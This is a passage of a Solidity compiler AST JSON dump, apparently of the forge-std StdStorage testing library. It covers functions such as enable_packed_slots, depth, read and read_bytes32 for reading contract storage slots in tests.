StdStorage"},"typeName":{"id":8230,"nodeType":"UserDefinedTypeName","pathNode":{"id":8229,"name":"StdStorage","nameLocations":["7771:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7771:10:8"},"referencedDeclaration":7427,"src":"7771:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8233,"mutability":"mutable","name":"key","nameLocation":"7804:3:8","nodeType":"VariableDeclaration","scope":8250,"src":"7796:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8232,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7796:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7770:38:8"},"returnParameters":{"id":8238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8237,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8250,"src":"7827:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8236,"nodeType":"UserDefinedTypeName","pathNode":{"id":8235,"name":"StdStorage","nameLocations":["7827:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7827:10:8"},"referencedDeclaration":7427,"src":"7827:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7826:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8268,"nodeType":"FunctionDefinition","src":"7911:162:8","nodes":[],"body":{"id":8267,"nodeType":"Block","src":"8003:70:8","nodes":[],"statements":[{"expression":{"id":8263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8259,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8253,"src":"8013:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8261,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"8018:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"8013:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":8262,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8041:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"8013:32:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8264,"nodeType":"ExpressionStatement","src":"8013:32:8"},{"expression":{"id":8265,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8253,"src":"8062:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8258,"id":8266,"nodeType":"Return","src":"8055:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"enable_packed_slots","nameLocation":"7920:19:8","parameters":{"id":8254,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8253,"mutability":"mutable","name":"self","nameLocation":"7959:4:8","nodeType":"VariableDeclaration","scope":8268,"src":"7940:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8252,"nodeType":"UserDefinedTypeName","pathNode":{"id":8251,"name":"StdStorage","nameLocations":["7940:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7940:10:8"},"referencedDeclaration":7427,"src":"7940:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7939:25:8"},"returnParameters":{"id":8258,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8257,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8268,"src":"7983:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8256,"nodeType":"UserDefinedTypeName","pathNode":{"id":8255,"name":"StdStorage","nameLocations":["7983:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7983:10:8"},"referencedDeclaration":7427,"src":"7983:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7982:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8288,"nodeType":"FunctionDefinition","src":"8079:152:8","nodes":[],"body":{"id":8287,"nodeType":"Block","src":"8173:58:8","nodes":[],"statements":[{"expression":{"id":8283,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8279,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8271,"src":"8183:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8281,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"8188:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"8183:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8282,"name":"_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8273,"src":"8197:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8183:20:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8284,"nodeType":"ExpressionStatement","src":"8183:20:8"},{"expression":{"id":8285,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8271,"src":"8220:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8278,"id":8286,"nodeType":"Return","src":"8213:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"depth","nameLocation":"8088:5:8","parameters":{"id":8274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8271,"mutability":"mutable","name":"self","nameLocation":"8113:4:8","nodeType":"VariableDeclaration","scope":8288,"src":"8094:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8270,"nodeType":"UserDefinedTypeName","pathNode":{"id":8269,"name":"StdStorage","nameLocations":["8094:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8094:10:8"},"referencedDeclaration":7427,"src":"8094:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8273,"mutability":"mutable","name":"_depth","nameLocation":"8127:6:8","nodeType":"VariableDeclaration","scope":8288,"src":"8119:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8272,"name":"uint256","nodeType":"ElementaryTypeName","src":"8119:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8093:41:8"},"returnParameters":{"id":8278,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8277,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8288,"src":"8153:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8276,"nodeType":"UserDefinedTypeName","pathNode":{"id":8275,"name":"StdStorage","nameLocations":["8153:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8153:10:8"},"referencedDeclaration":7427,"src":"8153:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8152:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8345,"nodeType":"FunctionDefinition","src":"8237:364:8","nodes":[],"body":{"id":8344,"nodeType":"Block","src":"8307:294:8","nodes":[],"statements":[{"assignments":[8298],"declarations":[{"constant":false,"id":8298,"mutability":"mutable","name":"data","nameLocation":"8334:4:8","nodeType":"VariableDeclaration","scope":8344,"src":"8317:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":8297,"nodeType":"UserDefinedTypeName","pathNode":{"id":8296,"name":"FindData","nameLocations":["8317:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"8317:8:8"},"referencedDeclaration":7402,"src":"8317:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"id":8303,"initialValue":{"arguments":[{"id":8300,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8346:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"66616c7365","id":8301,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8352:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8299,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"8341:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8341:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"nodeType":"VariableDeclarationStatement","src":"8317:41:8"},{"assignments":[8305],"declarations":[{"constant":false,"id":8305,"mutability":"mutable","name":"mask","nameLocation":"8376:4:8","nodeType":"VariableDeclaration","scope":8344,"src":"8368:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8304,"name":"uint256","nodeType":"ElementaryTypeName","src":"8368:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8312,"initialValue":{"arguments":[{"expression":{"id":8307,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8400:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8308,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8405:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"8400:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":8309,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8417:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8310,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8422:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"8417:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8306,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"8383:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":8311,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8383:51:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8368:66:8"},{"assignments":[8314],"declarations":[{"constant":false,"id":8314,"mutability":"mutable","name":"value","nameLocation":"8452:5:8","nodeType":"VariableDeclaration","scope":8344,"src":"8444:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8313,"name":"uint256","nodeType":"ElementaryTypeName","src":"8444:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8334,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"expression":{"id":8319,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8477:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8320,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8482:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"8477:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":8323,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8499:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8324,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8504:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"8499:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8322,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8491:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8321,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8491:7:8","typeDescriptions":{}}},"id":8325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8491:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8317,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"8469:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8472:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"8469:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":8326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8469:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8316,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8461:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8315,"name":"uint256","nodeType":"ElementaryTypeName","src":"8461:7:8","typeDescriptions":{}}},"id":8327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8461:50:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"&","rightExpression":{"id":8328,"name":"mask","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8305,"src":"8514:4:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8461:57:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":8330,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8460:59:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">>","rightExpression":{"expression":{"id":8331,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8523:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8332,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8528:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"8523:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8460:79:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8444:95:8"},{"expression":{"arguments":[{"id":8336,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8555:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8335,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"8549:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":8337,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8549:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8338,"nodeType":"ExpressionStatement","src":"8549:11:8"},{"expression":{"arguments":[{"id":8341,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8314,"src":"8588:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":8339,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8577:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8340,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8581:6:8","memberName":"encode","nodeType":"MemberAccess","src":"8577:10:8","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":8342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8577:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":8295,"id":8343,"nodeType":"Return","src":"8570:24:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read","nameLocation":"8246:4:8","parameters":{"id":8292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8291,"mutability":"mutable","name":"self","nameLocation":"8270:4:8","nodeType":"VariableDeclaration","scope":8345,"src":"8251:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8290,"nodeType":"UserDefinedTypeName","pathNode":{"id":8289,"name":"StdStorage","nameLocations":["8251:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8251:10:8"},"referencedDeclaration":7427,"src":"8251:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8250:25:8"},"returnParameters":{"id":8295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8294,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8345,"src":"8293:12:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8293,"name":"bytes","nodeType":"ElementaryTypeName","src":"8293:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"8292:14:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":8364,"nodeType":"FunctionDefinition","src":"8607:131:8","nodes":[],"body":{"id":8363,"nodeType":"Block","src":"8681:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8356,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8348,"src":"8714:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8355,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"8709:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8709:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8359,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8722:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8358,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8722:7:8","typeDescriptions":{}}}],"id":8360,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"8721:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"}],"expression":{"id":8353,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8698:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8354,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8702:6:8","memberName":"decode","nodeType":"MemberAccess","src":"8698:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8361,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8698:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":8352,"id":8362,"nodeType":"Return","src":"8691:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bytes32","nameLocation":"8616:12:8","parameters":{"id":8349,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8348,"mutability":"mutable","name":"self","nameLocation":"8648:4:8","nodeType":"VariableDeclaration","scope":8364,"src":"8629:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8347,"nodeType":"UserDefinedTypeName","pathNode":{"id":8346,"name":"StdStorage","nameLocations":["8629:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8629:10:8"},"referencedDeclaration":7427,"src":"8629:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8628:25:8"},"returnParameters":{"id":8352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8351,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8364,"src":"8672:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8350,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8672:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8671:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8395,"nodeType":"FunctionDefinition","src":"8744:279:8","nodes":[],"body":{"id":8394,"nodeType":"Block","src":"8812:211:8","nodes":[],"statements":[{"assignments":[8373],"declarations":[{"constant":false,"id":8373,"mutability":"mutable","name":"v","nameLocation":"8829:1:8","nodeType":"VariableDeclaration","scope":8394,"src":"8822:8:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":8372,"name":"int256","nodeType":"ElementaryTypeName","src":"8822:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"id":8377,"initialValue":{"arguments":[{"id":8375,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8367,"src":"8842:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8374,"name":"read_int","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8452,"src":"8833:8:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_int256_$","typeString":"function (struct StdStorage storage pointer) returns (int256)"}},"id":8376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8833:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"VariableDeclarationStatement","src":"8822:25:8"},{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":8380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8378,"name":"v","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8373,"src":"8861:1:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":8379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8866:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 